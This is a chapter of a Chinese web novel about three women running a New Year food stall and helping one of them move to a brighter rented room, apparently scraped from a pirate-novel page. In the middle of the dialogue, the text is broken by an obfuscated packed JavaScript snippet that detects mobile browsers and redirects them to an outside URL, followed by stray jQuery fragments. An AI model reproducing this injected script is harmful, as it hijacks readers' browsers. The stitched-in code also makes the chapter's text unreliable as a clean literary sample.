29.过年29

作品:《房东和她的房客们

    初三的夜幕落下时,石陂横一街那片空地,比前两日更热闹了些。


    除了张童童那辆标志性的亮红色小吃车,旁边一辆由电三轮改装的蓝色炭火烧烤摊也早早支了起来。


    到了八点左右,竟又驶来一辆同样做铁板烧的小吃车,熟门熟路地停在了空地的另一侧。车主人是个面生的中年男人,手脚麻利地摆开阵势,铁板烧热的滋滋声很快加入了夜晚的合奏。


    张童童和李琳隔着蒸腾的热气交换了一个眼神——显然是除夕那晚生意太火,有人跟风来了。


    幸亏张童童早晨(她实在熬不住把起床时间改到了六点)备料时多了个心眼,找汤猪亮拿肉减了三分之一。此刻看着多出来的竞争对手,她心里反倒踏实了:还好材料没备太多,不然真怕卖不完。


    第一波尝鲜的客人散去后,终于有了片刻清闲。


    张童童将炉火关小,抓起脖子上的毛巾擦了擦额角的汗,凑到李琳身边。她掏出手机,点开记账的页面,屏幕的光映亮了她泛着油汗却兴致勃勃的脸。


    “琳姐,”她声音压低了点,带着商量和抑制不住的兴奋,“我粗算了下,光是除夕和初二两个晚上,毛利就挺不错。”她的指尖在屏幕上滑动,点着那些数字,“扣掉所有成本,还有不少呢。你和阿圆这么帮我,不能让你们白干。”


    李琳手上穿肉的动作没停,竹签精准地穿过腌渍入味的肉块,只是抬眼看了看张童童,眼神平静。


    张童童干脆蹲下身,让自己和李琳的视线平齐,眼睛亮晶晶的:“我想着,这钱我们三个人分一分。你穿肉最辛苦,几乎包圆了;阿圆也跑前跑后没闲着;细鬼妹虽然只来了除夕一晚,但那天没她可真转不开。”她越说越觉得这主意好,语气也雀跃起来,“亲姐妹,明算账嘛!”


    李琳摇了摇头,手上的动作依然稳定:“不用分钱。”


    “那怎么行!”张童童一听就急了,眉头紧紧皱起来,声音也不自觉拔高,“亲兄弟还得明算账呢!你们实实在在出了力,该拿的钱就得拿,这才是天经地义!”


    “真要给,”李琳没有看她,目光落在手里那根细长的竹签上,声音平稳,“等你忙完这几天,给个红包就好。”她手腕稳当地一送,竹签利落地穿过一块腌得恰到好处的梅头肉,“过年,图个吉利意头。”


    她这才抬起眼,看向张童童:“你得先把花销和自己的人工算清楚,剩下的才是赚的。这个铁板烧生意看着是好,可成本不低,你一天忙活十几个钟头,睡不到四五小时,最辛苦的是你自己。”


    她顿了顿,带着不容置疑的语气,“我和张圆,一人一个红包就够了,金额你定。细鬼妹那份,你也包一个,她拿不拿随她。”


    张童童愣了下,随即明白过来。分钱是“工钱”,而红包是“心意”,是姐妹朋友间的来往。


    “好!”她重重点头,笑得露出虎牙,“就包红包!大大的!”她已经在心里盘算该包多少了,既要够意思,又不能给李琳压力——琳姐那脾气,给多了她肯定不会要。


    ---


    晚上九点过后,张圆匆匆赶到了横一街的空地。她穿着一件看起来挺新的棉服,脸上还带着些游玩后的疲倦。


    这两天她没闲着,在李琳和张童童的劝说下,抽空跑去几个广府有名的寺院道观拜拜。


    一来是过年图个吉利,讨个好意头;二来也记着张罗宁那句“多晒太阳、接触阳气”,那些古刹名园占地广阔,午后阳光洒在石板路上,暖洋洋的,确实让人舒展。再者,她心里还有个挺朴素的念头:一个外地人来广府打工,要是连这些地标性的地方都没去过,回去怎么跟人说呢?


    此刻,她脸上那点一天奔波后的倦意,在看见摊位暖黄的灯光和两张熟悉面孔的瞬间,就被明亮的笑意驱散了眼睛一下子亮了起来。


    “童童,琳姐!我来了!”她小跑着靠近,很自然地弯下腰,开始收拾小桌边散落的空酒瓶和竹签,“这边我来收拾,童童你先喘口气。”


    有了张圆加入,三人之间很快形成了一种默契的流水线:李琳坐在小凳上,双手几乎没停过,将腌好的肉块稳而快地穿在竹签上;张童童守在滚烫的铁板后,负责最核心的煎烤、调味和打包,间隙还能抬头跟熟客插科打诨两句;张圆招呼新客、将烤好的餐食送到餐桌上后收钱、顺手收拾腾出来的小桌。


    十一点半左右,最后一波肉串和蔬菜终于卖完。张童童“咔哒”一声关上煤气阀,长长地、彻底地舒了一口气。隔壁炭火烧烤摊的年轻人显然还没尽兴,坐在折叠桌旁嚷嚷着要再搬一箱啤酒。


    张童童的摊位前只剩下满地狼藉的竹签、斑驳的油渍、零星的食物残渣,以及空气中浓郁复杂、一时难以散尽的烧烤香气。


    三人开始默默收拾。折叠桌上的油污被仔细擦净、折好;喝空的啤酒瓶、空了的调料罐分门别类收回纸箱;竹签、餐盒、用过的纸巾被打扫干净,倒入旁边的大号黑色垃圾袋——村里同意他们过年期间在这片空地摆摊的前提,就是收摊时必须彻底清理干净,不给第二天清早的保洁工添麻烦。


    在一片规律的收拾声响中,张童童状似随意地开了口:


    “阿圆,你爸妈那边……电话打得怎么样了?”


    张圆正蹲在地上捡竹签,闻言动作顿了顿,手里的竹签簌簌轻响。“嗯,我打过去了。”她声音不高,像在复述一件极其重要的事,“我把张师傅说的那些话……都跟他们讲了。”


    她维持着蹲姿,目光却有些飘远,仿佛穿过夜晚清冷的空气,看到了电话那头父母将信将疑的脸。


    “他们……刚开始当然不信这些。说我读书读傻了,在外面尽听些怪力乱神。”她嘴角扯出一个很淡的、带着涩意的笑,声音低了下去,“可我把张师傅的身份,还有她说的每一句,都原原本本说了。也说了我自己这些年的感觉——”


    她抬起头,看向张童童,眼眶在灯光下微微有些发红,不是要哭,而是某种情绪冲破了常年习惯的克制。


    “我不是怪爸妈,也不是推脱。可我是真的……真的怕了啊。”她声音里透出一股积压已久的疲惫,“我怕那种不管怎么努力,临门一脚总会出岔子的感觉;怕看到爸妈累了一整年,最后钱还是攒不下来的样子;还怕自己是不是真的带了什么晦气,走到哪里都连累人……这种担心,跟了我好多年了。”


    她吸了口气,把那股翻涌的情绪压下去,再开口时,语气里多了种如释重负的虚软,却仍绷着一根担忧的弦:“他们听我这么说,沉默了好久。最后……终于答应了。说过完正月十五,就在村里和附近仔细看看,有没有光线好、透气点的房子租。”


    “那就好!”张童童立刻用力点头,声音斩钉截铁,像是要帮她撑住那股泄了劲的坚持,“早搬早踏实!那屋子光听你说就觉得不对,人住着怎么能顺心?”


    她看着张圆仍有些苍白的脸,语气放软了些,“别怕,阿圆。霉运不会跟人一辈子的,有时候就是换个地方,一切就都不一样了。”


    李琳将最后一个干净的整理箱搬回小吃车底层,直起身,拍了拍手上的灰,才淡淡开口:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210604|197104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我上午问了人,南三巷那边五楼有个单间出租,月租四百,朝南,有扇大窗户。旧是旧点,但通风采光还行。”


    她顿了顿:“我跟房东说了你的情况,只住到开学,十来天,他就只收两百。”


    张圆的眼睛一下子睁大了,几乎以为自己听错了:“两……两百?朝南?琳姐,真的吗?”


    “嗯。房东是我一个远房叔公,人好说话,只要你保证走之前把卫生搞好。”李琳语气依旧平淡,仿佛只是在陈述一件微不足道的小事,“而且你只住十来天,不耽误他什么,他也愿意行个方便。”


    张圆算了下日子,脸上兴奋稍减:“可是琳姐,我明天就要回物流园上班了,过年期间排班特别紧,天天都要去。”她抿了抿嘴,有些为难,“可能要等到初八初九,看同事回来能不能调个班,或者我休假那天……又要麻烦你帮我跟房东说等等……”


    “等什么等,” 张童童一听这话立刻插嘴,嗓门脆亮,“明天!你明天晚上下了班就直接搬。东西又不多,我们帮你,一会儿就弄完了。”她看着张圆,语气是不容商量的干脆,“还等到初八?早搬早晒太阳!听我的!”


    张圆被她说得一愣,下意识看向李琳。


    李琳已经拿起晾在一边的抹布,对折,整齐地搭在小吃车旁的挂钩上。听到张童童的话,她侧过脸,对着张圆很轻地点了下头。


    “嗯,”她简单应道,算是赞同张童童的安排,“就明天晚上。”


    收拾得差不多了,三人将最后一点垃圾归拢到大的黑色塑料袋里,然后骑着小吃车和充当菜品摆台的三轮车回家。


    夜风更冷了些,远处零星的鞭炮声也稀落了。


    回到三号楼张童童锁好小吃车,转过身,脸上玩笑的神色收了起来,看了看李琳,又看向张圆。


    “阿圆,”她语气认真了些,“有件事,我们得说好。”


    张圆站直了身体:“童童你说。”


    “就是……关于302张师傅给你看的事。”张童童斟酌着词句,“琳姐和我商量过了,这事,我们自己知道就好,别再往外说,跟谁都别提。”


    张圆立刻点头:“我知道,我肯定不会乱说的!张师傅帮了我大忙……”


    “不止是因为帮了忙。”李琳打断她,声音在寂静的夜里格外清晰。她看着张圆,眼神很静,“她没收你钱。”


    张圆愣了愣。她初二晚上试探着问过张罗宁,要不要付些“咨询费”,哪怕只是意思一下。张罗宁当时只摇了摇头,说了句“不用”,便再无他话。


    “她不是开馆营业的先生,没收钱,就意味着这不是一桩‘买卖’。”李琳解释得很慢,尽量让道理清晰,“她开口,可能是看在邻里情分上,也可能有她自己的缘由。但我们如果到处去讲,对她可能是一种打扰,甚至……”她顿了顿,“可能会给她带来不必要的麻烦。村里人多口杂。”


    张圆终于完全明白了其中的利害,背上悄悄冒了层细汗。“我懂了,琳姐。”她郑重保证,“我绝不会对任何人说,包括晓薇。我就说搬家是因为想找个采光好的房子,别的半个字都不提。”


    张童童也用力点头:“我也一样!这事就烂在咱们三个人肚子里。”她咧嘴笑了笑,试图驱散有些严肃的气氛,“再说了,大师既然这么厉害,咱们乱说话,说不定她都能‘算’到呢!还是老实点好。”


    这话说得有点孩子气,却让张圆忍不住也笑了,紧绷的肩膀松了下来。


    “行了,回去吧,不早了。”李琳走进一楼,和两人告别。